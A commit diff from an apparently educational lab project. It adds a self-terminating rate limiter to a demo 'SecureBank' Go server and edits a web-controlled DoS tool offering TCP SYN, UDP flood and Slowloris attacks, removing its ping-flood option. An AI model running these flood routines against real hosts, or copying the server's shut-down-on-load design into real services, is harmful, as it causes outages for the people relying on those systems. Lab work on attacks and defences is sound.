Buncha fixes and binaries

bank/main.go

@@ -7,8 +7,11 @@ import (
 	"html/template"
 	"io/fs"
 	"log"
+	"net"
 	"net/http"
+	"os"
 	"sync"
+	"time"
 )
 
 //go:embed templates/*
@@ -58,6 +61,7 @@ func addUser(username, password, email, fullName string) {
 func main() {
 	// Nastavimo port preko command line argumenta
 	var port = flag.String("port", "8080", "Port na katerem se bo zagnal server")
+	var rateLimit = flag.Int("rate-limit", 3000, "Maksimalno število zahtev na sekundo")
 	flag.Parse()
 
 	// Naložimo HTML predloge iz embedded FS
@@ -67,29 +71,140 @@ func main() {
 		log.Fatal("Napaka pri nalaganju embedded predlog:", err)
 	}
 
+	// Create rate killer first
+	killer := newRateKiller(*rateLimit)
+
+	// Start network attack monitors with direct access to killer
+	go monitorTCP(killer)
+	go monitorUDP(killer)
+
 	// Statične datoteke iz embedded FS
 	staticSubFS, err := fs.Sub(staticFS, "static")
 	if err != nil {
 		log.Fatal("Napaka pri ustvarjanju static subFS:", err)
 	}
-	http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS))))
+	mux := http.NewServeMux()
+	mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS))))
 
 	// Routes
-	http.HandleFunc("/", homeHandler)
-	http.HandleFunc("/register", registerHandler)
-	http.HandleFunc("/login", loginHandler)
-	http.HandleFunc("/dashboard", dashboardHandler)
-	http.HandleFunc("/logout", logoutHandler)
+	mux.HandleFunc("/", homeHandler)
+	mux.HandleFunc("/register", registerHandler)
+	mux.HandleFunc("/login", loginHandler)
+	mux.HandleFunc("/dashboard", dashboardHandler)
+	mux.HandleFunc("/logout", logoutHandler)
 
 	// Zagon strežnika
 	fmt.Printf("🏦 SecureBank aplikacija (embedded build)\n")
 	fmt.Printf("Port: %s\n", *port)
 	fmt.Printf("HTTP: http://localhost:%s\n", *port)
+	fmt.Printf("Rate Limit: %d req/sec\n", *rateLimit)
 	fmt.Printf("📦 Vsi fajli so vključeni v binary!\n")
 	fmt.Println()
 
 	serverAddr := ":" + *port
-	log.Fatal(http.ListenAndServe(serverAddr, nil))
+	log.Fatal(http.ListenAndServe(serverAddr, killer.wrap(mux)))
+}
+
+type rateKiller struct {
+	limit  int
+	mu     sync.Mutex
+	window time.Time
+	count  int
+}
+
+func newRateKiller(limit int) *rateKiller {
+	rk := &rateKiller{
+		limit:  limit,
+		window: time.Now().Truncate(time.Second),
+	}
+	// Reset counter every second
+	go rk.resetCounter()
+	return rk
+}
+
+func (rk *rateKiller) wrap(next http.Handler) http.Handler {
+	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		rk.mu.Lock()
+		nowWindow := time.Now().Truncate(time.Second)
+		if nowWindow.After(rk.window) {
+			rk.window = nowWindow
+			rk.count = 0
+		}
+		rk.count++
+		exceeded := rk.count > rk.limit
+		rk.mu.Unlock()
+
+		if exceeded {
+			log.Printf("CRITICAL: request rate exceeded %d req/s - shutting down", rk.limit)
+			os.Exit(1)
+		}
+
+		next.ServeHTTP(w, r)
+	})
+}
+
+func (rk *rateKiller) recordPacket() {
+	rk.mu.Lock()
+	rk.count++
+	current := rk.count
+	rk.mu.Unlock()
+
+	if current > rk.limit {
+		log.Printf("CRITICAL: attack detected - %d packets/sec exceeded limit of %d - SHUTTING DOWN", current, rk.limit)
+		os.Exit(1)
+	}
+}
+
+func (rk *rateKiller) resetCounter() {
+	ticker := time.NewTicker(time.Second)
+	defer ticker.Stop()
+	for range ticker.C {
+		rk.mu.Lock()
+		if rk.count > 0 {
+			log.Printf("📊 Rate: %d packets/sec (limit: %d)", rk.count, rk.limit)
+		}
+		rk.count = 0
+		rk.window = time.Now().Truncate(time.Second)
+		rk.mu.Unlock()
+	}
+}
+
+func monitorTCP(killer *rateKiller) {
+	listener, err := net.Listen("tcp", ":80")
+	if err != nil {
+		log.Printf("Warning: TCP monitor on :80 failed: %v", err)
+		return
+	}
+	defer listener.Close()
+	log.Println("🔍 TCP attack monitor active on :80")
+
+	for {
+		conn, err := listener.Accept()
+		if err != nil {
+			continue
+		}
+		killer.recordPacket()
+		conn.Close()
+	}
+}
+
+func monitorUDP(killer *rateKiller) {
+	conn, err := net.ListenPacket("udp", ":53")
+	if err != nil {
+		log.Printf("Warning: UDP monitor on :53 failed: %v", err)
+		return
+	}
+	defer conn.Close()
+	log.Println("🔍 UDP attack monitor active on :53")
+
+	buf := make([]byte, 1024)
+	for {
+		_, _, err := conn.ReadFrom(buf)
+		if err != nil {
+			continue
+		}
+		killer.recordPacket()
+	}
 }
 
 func homeHandler(w http.ResponseWriter, r *http.Request) {

ping_of_death/main.go

@@ -260,12 +260,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
 		case <-ticker.C:
 			go func() {
 				switch session.Type {
-				case "ping_flood":
-					if err := sendPing(session.Target); err == nil {
-						atomic.AddInt32(&session.Success, 1)
-					} else {
-						atomic.AddInt32(&session.Failed, 1)
-					}
 				case "tcp_syn":
 					if err := sendTCPSyn(session.Target); err == nil {
 						atomic.AddInt32(&session.Success, 1)
@@ -290,18 +284,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
 	}
 }
 
-func sendPing(target string) error {
-	conn, err := net.Dial("ip4:icmp", target)
-	if err != nil {
-		return err
-	}
-	defer conn.Close()
-
-	// Simple ICMP echo request simulation
-	_, err = conn.Write([]byte{8, 0, 0, 0, 0, 1, 0, 1})
-	return err
-}
-
 func sendTCPSyn(target string) error {
 	conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second)
 	if err != nil {
@@ -344,14 +326,12 @@ func sendSlowloris(target string) error {
 
 		// Send additional headers slowly to keep connection alive
 		for i := 0; i < 6; i++ { // Keep alive for 60 seconds
-			select {
-			case <-ticker.C:
+			<-ticker.C
 			_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
 			if err != nil {
 				return
 			}
 		}
-		}
 		// Finally close the request
 		conn.Write([]byte("\r\n"))
 	}()

ping_of_death/static/app.js

@@ -3,6 +3,7 @@
 class NetAttackLab {
     constructor() {
         this.activeAttacks = new Map();
+        this.progressIntervals = new Map();
         this.sessionUpdateInterval = null;
         this.init();
     }
@@ -248,8 +249,8 @@ class NetAttackLab {
         stopBtn.disabled = false;
 
         // Add attack start log
-        this.addLog('attack-logs', `🔥 Initiating ${type} attack on ${target}`, 'warning');
-        this.addLog('attack-logs', `⚙️ Parameters: ${duration}s duration, ${intensity} req/sec`, 'info');
+        this.addLog('attack-logs', `🔥 Začetek ${type} napada na ${target}`, 'warning');
+        this.addLog('attack-logs', `⚙️ Parametri: ${duration}s trajanje, ${intensity} req/sec`, 'info');
 
         const result = await this.makeRequest('/api/attack', {
             target,
@@ -259,11 +260,11 @@ class NetAttackLab {
         });
 
         if (result.error) {
-            this.addLog('attack-logs', `❌ Attack failed to start: ${result.error}`, 'error');
+            this.addLog('attack-logs', `❌ Napad ni uspel: ${result.error}`, 'error');
             attackBtn.disabled = false;
             stopBtn.disabled = true;
         } else {
-            this.addLog('attack-logs', `✅ Attack session ${result.sessionId} started`, 'success');
+            this.addLog('attack-logs', `✅ Napadna seja ${result.sessionId} je začela`, 'success');
             this.activeAttacks.set(result.sessionId, {
                 target,
                 type,
@@ -278,6 +279,13 @@ class NetAttackLab {
     trackAttackProgress(sessionId, duration) {
         let elapsed = 0;
         const progressInterval = setInterval(() => {
+            // Check if attack was stopped
+            if (!this.activeAttacks.has(sessionId)) {
+                clearInterval(progressInterval);
+                this.progressIntervals.delete(sessionId);
+                return;
+            }
+
             elapsed++;
             const remaining = duration - elapsed;
             
@@ -286,6 +294,7 @@ class NetAttackLab {
             } else {
                 this.addLog('attack-logs', `🏁 Attack session ${sessionId} completed`, 'success');
                 clearInterval(progressInterval);
+                this.progressIntervals.delete(sessionId);
                 
                 // Re-enable attack button
                 document.getElementById('attack-btn').disabled = false;
@@ -296,21 +305,31 @@ class NetAttackLab {
                 this.activeAttacks.delete(sessionId);
             }
         }, 1000);
+        
+        // Store interval ID
+        this.progressIntervals.set(sessionId, progressInterval);
     }
 
     async stopAllAttacks() {
-        this.addLog('attack-logs', '🛑 Emergency stop initiated...', 'warning');
+        this.addLog('attack-logs', '🛑 Nujna ustavitev v teku...', 'warning');
         
         for (const sessionId of this.activeAttacks.keys()) {
             await this.makeRequest('/api/stop', { sessionId });
             this.addLog('attack-logs', `🛑 Session ${sessionId} stopped`, 'info');
+            
+            // Clear progress interval
+            const interval = this.progressIntervals.get(sessionId);
+            if (interval) {
+                clearInterval(interval);
+                this.progressIntervals.delete(sessionId);
+            }
         }
         
         this.activeAttacks.clear();
         document.getElementById('attack-btn').disabled = false;
         document.getElementById('stop-btn').disabled = true;
         
-        this.addLog('attack-logs', '✅ All attacks stopped', 'success');
+        this.addLog('attack-logs', '✅ Vsi napadi prekinjeni', 'success');
     }
 
     // Session Monitoring
@@ -386,6 +405,15 @@ class NetAttackLab {
     async stopSession(sessionId) {
         await this.makeRequest('/api/stop', { sessionId });
         this.addLog('attack-logs', `🛑 Session ${sessionId} stopped manually`, 'warning');
+        
+        // Clear progress interval
+        const interval = this.progressIntervals.get(sessionId);
+        if (interval) {
+            clearInterval(interval);
+            this.progressIntervals.delete(sessionId);
+        }
+        
+        this.activeAttacks.delete(sessionId);
         this.updateSessionsTable();
     }
 }

ping_of_death/templates/index.html

@@ -92,7 +92,6 @@
                             <div class="input-group">
                                 <label>Tip Napada:</label>
                                 <select id="attack-type">
-                                    <option value="ping_flood">ICMP Echo Poplava</option>
                                     <option value="tcp_syn">TCP SYN Poplava</option>
                                     <option value="udp_flood">UDP Paketna Poplava</option>
                                     <option value="slowloris">Slowloris (Počasne Povezave)</option>
@@ -202,9 +201,6 @@
                     <div class="info-section">
                         <h3>Razlaga Tipov Napadov</h3>
                         <div class="attack-explanation">
-                            <h4>ICMP Echo Poplava (Ping Poplava)</h4>
-                            <p>Pošilja hitre ICMP echo zahteve, da preobremeni zmožnost cilja za odziv. Lahko porabi pasovno širino in procesno moč.</p>
-                            
                             <h4>TCP SYN Poplava</h4>
                             <p>Izkorišča TCP handshake proces s pošiljanjem SYN paketov brez dokončanja povezave, kar lahko izčrpa vire povezav.</p>